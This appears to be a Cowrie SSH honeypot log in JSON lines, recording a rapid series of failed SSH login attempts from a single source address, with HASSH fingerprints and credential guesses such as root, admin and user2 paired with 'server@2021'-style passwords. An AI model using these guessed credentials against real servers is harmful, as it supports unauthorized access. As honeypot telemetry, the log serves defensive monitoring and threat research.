{"eventid":"cowrie.login.failed","username":"user","password":"server@2019","message":"login attempt [user/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:11.119746Z","src_ip":"103.114.153.158","session":"eebd89321aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:11.600920Z","src_ip":"103.114.153.158","session":"eebd89321aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"86b4e26c4fc2","protocol":"ssh","message":"New connection: 103.114.153.158:60118 (10.17.0.5:22) [session: 86b4e26c4fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:11.799433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:11.804575Z","src_ip":"103.114.153.158","session":"86b4e26c4fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:11.997963Z","src_ip":"103.114.153.158","session":"86b4e26c4fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2019","message":"login attempt [user2/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:12.804017Z","src_ip":"103.114.153.158","session":"86b4e26c4fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:13.286977Z","src_ip":"103.114.153.158","session":"86b4e26c4fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3985831fc1a","protocol":"ssh","message":"New connection: 103.114.153.158:60130 (10.17.0.5:22) [session: b3985831fc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:13.471000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:13.476893Z","src_ip":"103.114.153.158","session":"b3985831fc1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:13.663476Z","src_ip":"103.114.153.158","session":"b3985831fc1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2021","message":"login attempt [root/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:14.436960Z","src_ip":"103.114.153.158","session":"b3985831fc1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:14.917911Z","src_ip":"103.114.153.158","session":"b3985831fc1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60146,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a3952825dc","protocol":"ssh","message":"New connection: 103.114.153.158:60146 (10.17.0.5:22) [session: 53a3952825dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:15.129678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:15.135395Z","src_ip":"103.114.153.158","session":"53a3952825dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:15.334733Z","src_ip":"103.114.153.158","session":"53a3952825dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2021","message":"login attempt [admin/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:16.161927Z","src_ip":"103.114.153.158","session":"53a3952825dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:16.642800Z","src_ip":"103.114.153.158","session":"53a3952825dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60148,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6116565963","protocol":"ssh","message":"New connection: 103.114.153.158:60148 (10.17.0.5:22) [session: aa6116565963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:16.829489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:16.834931Z","src_ip":"103.114.153.158","session":"aa6116565963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:17.027823Z","src_ip":"103.114.153.158","session":"aa6116565963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2021","message":"login attempt [user/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:17.812194Z","src_ip":"103.114.153.158","session":"aa6116565963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:18.293030Z","src_ip":"103.114.153.158","session":"aa6116565963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60150,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a2d237995cb","protocol":"ssh","message":"New connection: 103.114.153.158:60150 (10.17.0.5:22) [session: 5a2d237995cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:18.507142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:18.514296Z","src_ip":"103.114.153.158","session":"5a2d237995cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:18.711902Z","src_ip":"103.114.153.158","session":"5a2d237995cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2021","message":"login attempt [user2/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:19.530138Z","src_ip":"103.114.153.158","session":"5a2d237995cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:20.010526Z","src_ip":"103.114.153.158","session":"5a2d237995cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55332,"dst_ip":"10.17.0.5","dst_port":22,"session":"645d51bfb209","protocol":"ssh","message":"New connection: 103.114.153.158:55332 (10.17.0.5:22) [session: 645d51bfb209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:20.208000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:20.214064Z","src_ip":"103.114.153.158","session":"645d51bfb209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:20.411760Z","src_ip":"103.114.153.158","session":"645d51bfb209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2022","message":"login attempt [root/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:21.232127Z","src_ip":"103.114.153.158","session":"645d51bfb209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:21.713959Z","src_ip":"103.114.153.158","session":"645d51bfb209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7580fd31e7","protocol":"ssh","message":"New connection: 103.114.153.158:55342 (10.17.0.5:22) [session: 8a7580fd31e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:21.909827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:21.915376Z","src_ip":"103.114.153.158","session":"8a7580fd31e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:22.107783Z","src_ip":"103.114.153.158","session":"8a7580fd31e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2022","message":"login attempt [admin/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:22.904413Z","src_ip":"103.114.153.158","session":"8a7580fd31e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:23.385497Z","src_ip":"103.114.153.158","session":"8a7580fd31e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55352,"dst_ip":"10.17.0.5","dst_port":22,"session":"343dd7fca4ae","protocol":"ssh","message":"New connection: 103.114.153.158:55352 (10.17.0.5:22) [session: 343dd7fca4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:23.581838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:23.587139Z","src_ip":"103.114.153.158","session":"343dd7fca4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:23.780879Z","src_ip":"103.114.153.158","session":"343dd7fca4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2022","message":"login attempt [user/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:24.588531Z","src_ip":"103.114.153.158","session":"343dd7fca4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:25.069061Z","src_ip":"103.114.153.158","session":"343dd7fca4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55358,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb92d92448a","protocol":"ssh","message":"New connection: 103.114.153.158:55358 (10.17.0.5:22) [session: 3eb92d92448a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:25.268891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:25.274118Z","src_ip":"103.114.153.158","session":"3eb92d92448a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:25.466994Z","src_ip":"103.114.153.158","session":"3eb92d92448a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2022","message":"login attempt [user2/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:26.273757Z","src_ip":"103.114.153.158","session":"3eb92d92448a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:26.753744Z","src_ip":"103.114.153.158","session":"3eb92d92448a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55362,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d09f3754cd","protocol":"ssh","message":"New connection: 103.114.153.158:55362 (10.17.0.5:22) [session: 54d09f3754cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:26.942847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:26.947471Z","src_ip":"103.114.153.158","session":"54d09f3754cd","protocol":"ssh"}
